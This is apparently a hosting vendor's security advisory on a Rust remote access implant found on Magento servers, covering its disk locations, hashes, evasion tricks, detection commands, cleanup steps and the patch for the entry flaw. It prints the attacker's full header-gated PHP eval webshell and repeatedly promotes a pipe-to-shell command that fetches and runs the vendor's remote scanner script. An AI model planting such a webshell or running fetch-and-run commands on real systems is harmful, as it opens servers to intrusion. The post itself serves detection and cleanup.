StyleSmuggler is a Rust remote access tool that has been turning up on Magento servers through an unauthenticated remote code execution flaw in the Magento framework. It is worth knowing about for one specific reason: it is built to survive the checks most store owners actually run. It hides in cache directories, disguises itself in the process list, keeps spare copies of itself, and installs a PHP backdoor that returns a genuine 404 to everybody except the attacker.
If you run a Magento store, this post gives you the commands to check it, the order to clean it in if you find something, and the patch that closes the door.
curl https://shopwhizzy.com/gowiz/external/agent | sh
It checks your files and database for webshells, skimmers and malware signatures, and your Magento version against Adobe's bulletins. Then read the host layer section below, because there is one part of this that no store-level scan can see.
What it looks like on disk
Two stripped ELF binaries, both hiding in directories nobody ever inspects because they are supposed to be full of disposable junk:
- At the store account level — a static-PIE Rust binary at
~/.cache/chrony/chronyd, relaunched by a cron entry that runs twice an hour. - At the root level — a smaller binary at
/root/.cache/fontconfig/fc-cache, with its own cron entry and a systemd unit at/etc/systemd/system/fontconfig-cache.servicewhoseExecStartruns as root.
The names are chosen to be boring. chronyd is the time daemon, fc-cache is the font cache builder, and both are exactly the kind of thing you skim past.
Where the file ownership is root:<your-shop-user>, you are looking at a privilege escalation rather than a plain web application compromise, and the cleanup scope is the whole server, not just your store.
Known-bad hashes
Four distinct binaries have been observed. Match on SHA-256, never on filename — the filenames are deliberately plausible and the staged copies use random names:
1a3374ffac5b0a62467612f264c49792d206304d4514409c982325c91231375d 2281147 static-PIE ~/.cache/chrony/chronyd
500cd1231f4286225c9db434f126b7b6e2a0496f495586c02a5d123e49dc7a51 312048 dynamic /root/.cache/fontconfig/fc-cache
4352cabaa451e5a894535fbcc4d46628701303322a13745cb5479d7d0534ae8e 2270031 static-PIE ~/.cache/fontconfig/fc-cache
a5b9e9082ecd446ad89b94748b13175e972efc6ae53c024ffdc3ab668f20ae75 2128224 dynamic /tmp/.kw_*
Four reasons a quick look will miss it
These are the properties that make StyleSmuggler worth a deliberate check rather than a glance.
1. It lies about its name in the process list
A running implant shows up in ps as a bare chronyd. Not the path, not the .cache directory — just a plausible daemon name. So the obvious search finds nothing:
pgrep -f '\.cache/chrony/chronyd' # matches only the short-lived cron wrapper, if anything
What it occasionally catches is the /bin/sh -c <path> wrapper cron spawns for a second or two. Killing those kills nothing — the daemon is still running, and it rewrites your crontab within about two minutes.
The check that works ignores names entirely and asks the kernel what each process actually is:
for p in /proc/[0-9]*; do
exe=$(readlink "$p/exe" 2>/dev/null) || continue
case "$exe" in
*.cache/*|*/tmp/*) echo "$p -> $exe";;
esac
done
2. It keeps runnable spare copies in /tmp
The implant stages executable copies of itself in /tmp: mode 755, owned by your shop user, with random eight-character names and junk extensions (/tmp/g7gylnwk.ha4), plus hidden /tmp/.kw_<digits> variants.
This matters for cleanup. Neutralising the two known .cache paths and stopping there leaves a working copy sitting in a world-writable directory. Hash-scan your temp directories as well.
3. The systemd unit is set immutable
If there is a root-level component, its service file carries the immutable attribute, and deleting it fails in a way that looks like a system protection rather than an attacker's:
rm /etc/systemd/system/fontconfig-cache.service
rm: cannot remove '...': Operation not permitted
lsattr /etc/systemd/system/fontconfig-cache.service
----i---------e------- /etc/systemd/system/fontconfig-cache.service
chattr -i first, then remove. A cleanup script that does not check lsattr will report success on a file that is still there.
4. The webshell answers 404 to everyone but the attacker
Re-entry is through tiny PHP webshells — 142 to 144 bytes — dropped under pub/media and var, in paths that look like ordinary Magento scratch output:
pub/media/downloadable/tmp/in/uy/thumb_l2rdsak8.php
var/import/images/eu/li/product_gqami5d3.php
The whole body is a header gate:
<?php if(($_SERVER['HTTP_X_CATALOG_VER']??'')!=='<md5>'){http_response_code(404);exit;} @eval($_POST['load']??''); ?>
Two consequences. First, the header name and key change with every drop — X-Catalog-Ver and X-Thumb-Key have both been seen — so match on the structural pair @eval($_POST[ plus http_response_code(404), never on the header name. Second, because every unauthenticated request gets a real 404, no scanner that works over HTTP from outside will ever see these. They are findable only on disk.
generated/code/ when you content-grep a Magento tree. Magento's own dependency-injection output will flood your results, and none of it is a webshell.
Check your store
The fastest route is the scanner, which does the file and database side for you and needs nothing installed:
curl https://shopwhizzy.com/gowiz/external/agent | sh
It runs against any Magento install you have SSH access to — ours, your own server, a client's box on cPanel or Plesk — and finishes with a private report link. It checks PHP and JavaScript files for malware signatures, webshells and skimmer patterns, checks your CMS blocks, configuration and admin accounts, and verifies your Magento version against Adobe's security bulletins by inspecting the code rather than trusting the version string.
If you would rather do it by hand, these four are read-only and change nothing:
# 1. Implant binaries in the usual hiding places
find ~/.cache /tmp /var/tmp /dev/shm -type f -size +100k 2>/dev/null \
-exec sha256sum {} + | grep -Ff known_bad_hashes.txt
# 2. Processes whose real executable sits in a cache or temp directory
for p in /proc/[0-9]*; do
e=$(readlink "$p/exe" 2>/dev/null)
case "$e" in *.cache/*|/tmp/*) echo "$p -> $e";; esac
done
# 3. Cron entries pointing into a cache directory
crontab -l | grep -E '\.cache|chronyd|fc-cache'
# 4. Header-gated webshells (match the structure, not the header name)
grep -rlE 'http_response_code\(404\)' pub/media var --include='*.php' 2>/dev/null \
| xargs -r grep -l '@eval($_POST\[' 2>/dev/null
Put the four hashes above into known_bad_hashes.txt, one per line, before running the first one.
The part your own scan cannot see
This is the most important thing in this post, and it applies no matter who hosts you or which scanner you use.
Security scanners on shared and managed hosting are scoped to your account. They read your crontab, your home directory, your processes. That is the correct design — you should not be able to enumerate another tenant's files, and they should not be able to enumerate yours.
It also means that a root-level implant is structurally invisible to any report you can run yourself. Not missed by a weak rule — invisible by design, on every scan, every night, forever. And with StyleSmuggler the root component frequently lands first, with the store-level one arriving afterwards.
So a clean store-level report means your store is clean. It is not, and cannot be, a statement about the server underneath it.
The question to ask your host: "What watches the host layer — root's crontab, /etc/systemd/system, root-owned binaries in temp directories, and processes belonging to root or other tenants?" If the answer is only the per-account scanner you can log in and run yourself, nobody is watching that layer.
On ShopWhizzy-managed servers this is covered separately from your own WhizzyScan report, by host-level checks that look specifically outside each account — indicator paths under /root, root-owned binaries in temp directories, systemd units whose ExecStart points somewhere it should not, reported with their lsattr flags so an immutable file cannot quietly resist cleanup. Those findings go to our team, because they are not about any one store.
If you find something
Sequence matters here, because a wrong order lets the implant repair itself while you work:
chmod 000every copy of the binaries — including the ones in/tmp. This preserves the bytes in case anyone needs to look at them later.- Quarantine the webshells (move them out of the document root; do not just blank them).
- Strip the cron entries. If there is a systemd unit,
chattr -iit and remove it. - Kill the processes by
/proc/*/exe, not by name. - Re-verify after twenty seconds.
That last step is not optional. A surviving daemon rewrites cron within roughly two minutes, so a check run immediately after cleanup will agree with you whether or not the cleanup worked.
Then rotate credentials. If the root level was involved, treat everything reachable from that server as exposed: the database credentials in app/etc/env.php, every Magento admin account, API keys and integration tokens, and any password or key stored in scripts on the box. Rotating the obvious two and stopping is how stores get reinfected a fortnight later.
Close the door: patch the entry vector
The way in is an unauthenticated remote code execution flaw in the Magento framework, fixed by the hotfix Adobe distributes as VULN-39341. Variants exist for 2.4.4-p18, 2.4.5-p17, 2.4.6-p15, 2.4.7-p10, 2.4.8-p5 and 2.4.9, and in practice they apply cleanly well outside their nominal version.
It does not need a DI recompile. The patch adds a second constructor argument to Magento\Framework\View\Element\BlockFactory, but declares it as ?ConfigInterface $x = null with an ObjectManager::getInstance() fallback. That nullable default is what makes it safe to apply on a compiled installation — normally a constructor signature change takes the site down until you run setup:di:compile again.
Anything below 2.4.6 takes no variant of this patch. If that is you, the fix is a version upgrade, not a hotfix, and it should be scheduled now rather than next quarter.
If patch rejects hunks in pub/errors/processor.php with "different line endings", that file has mixed CRLF and LF — a common state for it, and --ignore-whitespace does not help. Split the patch, apply everything else, then normalise that one file:
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} !f' VULN-39341.patch > part1.patch
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} f' VULN-39341.patch > part2.patch
patch -p1 < part1.patch
sed -i 's/\r$//' pub/errors/processor.php
patch -p1 < part2.patch
And while you are in there
Patching the framework closes this particular door. The file upload endpoints Magento exposes by default are a separate one, and they are the most commonly abused route into a store that is otherwise up to date. We covered both fixes — the PolyShell protection module for custom options uploads, and disabling the customer address upload endpoint — in our APSB25-88 post. If you have not applied those, do it in the same maintenance window.
Three things to take away
A targeted check that returns nothing is not a clean bill of health. It is one of two things — no malware, or a check looking in the wrong place — and you cannot tell which without a control. Dump your raw crontab and confirm you can see lines you know are there. Confirm your find actually traversed the directory you meant. A script that hardcodes pub/media on a store whose document root is pub/ finds no such directory and reports clean.
Match on content and hashes, never on names. Filenames, process names and header names are all attacker-controlled here, and all three change between drops.
Know who is watching the host layer. Your own scan covers your own account. Ask your provider what covers the rest, and treat a vague answer as a no.
Run the free scan on any Magento store you have SSH access to: curl https://shopwhizzy.com/gowiz/external/agent | sh
If something comes back critical and you would like help cleaning it up, open a ticket and we will take a look.
